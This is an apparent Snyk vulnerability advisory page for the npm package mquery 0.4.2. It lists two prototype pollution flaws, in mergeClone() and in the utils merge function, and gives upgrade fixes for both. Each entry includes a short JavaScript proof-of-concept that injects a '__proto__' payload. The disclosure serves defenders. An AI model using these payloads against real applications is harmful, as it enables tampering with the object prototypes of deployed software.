Homepage

mquery@0.4.2 vulnerabilities

Expressive query building for MongoDB

  • latest version

    5.0.0

  • latest non vulnerable version

    5.0.0

  • first published

    12 years ago

  • latest version published

    2 years ago

  • licenses detected

  • View mquery package health on Snyk Advisor  (opens in a new tab)
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the mquery package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    mquery is an Expressive query building for MongoDB

    Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

    PoC by zhou, peng

    mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

    How to fix Prototype Pollution?

    Upgrade mquery to version 3.2.5 or higher.

    <3.2.5
    • H
    Prototype Pollution

    mquery is an Expressive query building for MongoDB

    Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

       require('./env').getCollection(function(err, collection) {
      assert.ifError(err);
      col = collection;
      done();
    });
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    var m = mquery(payload);
    console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable

    How to fix Prototype Pollution?

    Upgrade mquery to version 3.2.3 or higher.

    <3.2.3
    Go back to all versions of this package